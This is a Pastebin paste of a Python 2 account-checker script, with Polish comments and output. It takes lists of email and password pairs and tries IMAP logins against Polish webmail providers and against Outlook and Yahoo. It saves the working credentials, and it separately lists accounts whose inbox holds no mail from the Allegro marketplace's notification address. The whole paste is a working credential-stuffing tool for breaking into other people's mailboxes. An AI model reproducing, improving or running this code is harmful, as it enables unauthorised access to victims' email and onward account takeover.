Guest User

Frzyjerek1

a guest
Aug 7th, 2016
1,519
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.79 KB | None | 0 0
  1. #!/usr/bin/env python
  2. '''
  3. Created By PentiumD
  4. '''
  5. import imaplib
  6. import ConfigParser
  7. import os
  8. import argparse
  9.  
  10. parser = argparse.ArgumentParser()
  11. parser.add_argument(\"input\")
  12. parser.add_argument(\"output\")
  13. args = parser.parse_args()
  14.  
  15.  
  16.  
  17. aliasy = ['op.pl', 'vp.pl', 'onet.pl', 'spoko.pl', 'onet.eu', 'opoczta.pl', 'onet.com.pl', 'vip.onet.pl', 'autograf.pl', 'poczta.onet.pl', 'interia.pl', 'poczta.fm', 'interia.eu', 'wp.pl', 'tlen.pl', 'go2.pl', 'o2.pl', 'home.pl', 'outlook.com', 'yahoo.com', 'yahoo.pl', 'poczta.pl', 'neostrada.pl']
  18. imap = ['imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'imap.poczta.onet.pl', 'poczta.interia.pl', 'poczta.interia.pl', 'poczta.interia.pl', 'imap.wp.pl', 'poczta.o2.pl', 'poczta.o2.pl', 'poczta.o2.pl', 'post.pl', 'imap.mail.outlook.com', 'imap.mail.yahoo.com', 'imap.mail.yahoo.com', 'imap.poczta.pl', 'poczta.neostrada.pl']
  19. port = ['993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '993', '143', '993', '993', '993', '993', '143']
  20.  
  21. def connection(ima,por,log,pas):
  22.  server= imaplib.IMAP4_SSL(ima,por)
  23.  server.login(log,pas)
  24.  rv, data = server.select("INBOX")
  25.  if rv!="OK":
  26.    print "brak folderu inbox"
  27.  rv, data = server.search(None, '(FROM "powiadomienia@allegro.pl")' )
  28.  if rv=="OK":
  29.    if not data:
  30.      ztagiem.append(mail+":"+passw)
  31.  return connection
  32.  
  33.      
  34. with open(args.input) as infile:
  35.      mail = ""
  36.      passw = ""
  37.      dobre =[]
  38.      ztagiem =[]
  39.      data2 = infile.read()
  40.      mlist2 = data2.splitlines()
  41.      licz=0
  42.      udane=0
  43.      for line in mlist2:
  44.    
  45.      mail=line.split(",")[0]
  46.      passw=line.split(",")[1]
  47.      if "@" in mail:
  48.        if mail.split("@")[1] in aliasy:
  49.          temp3=aliasy.index(mail.split("@")[1])
  50.          
  51.          print "proba logowania do " +imap[temp3] +"   " +mail+":"+passw+   "   udanych   " + str(udane) + "/" +str(licz)
  52.          try:
  53.        connection(imap[temp3],port[temp3],mail,passw)
  54.        print "udane"
  55.        
  56.        
  57.        dobre.append(mail+":"+passw)
  58.        udane+=1
  59.        
  60.          except imaplib.IMAP4.error:
  61.        print "niestety nie udane (najprawdopodobniej zle haslo)"
  62.          except KeyboardInterrupt:
  63.        print "przerwane przez usera"
  64.        break
  65.          except:
  66.        print "niestety nie udane (blad ssl)"
  67.        
  68.          licz+=1
  69.          
  70.        else:
  71.        licz+=1
  72.        
  73.          
  74.      else:
  75.        licz+=1
  76.        continue
  77.      print dobre
  78.      f = open(args.output, 'w')
  79.      f.write("\n".join(dobre))
  80.      s = open("czesz.txt", 'w')
  81.      s.write("\n".join(ztagiem))
Advertisement
Add Comment
Please, Sign In to add comment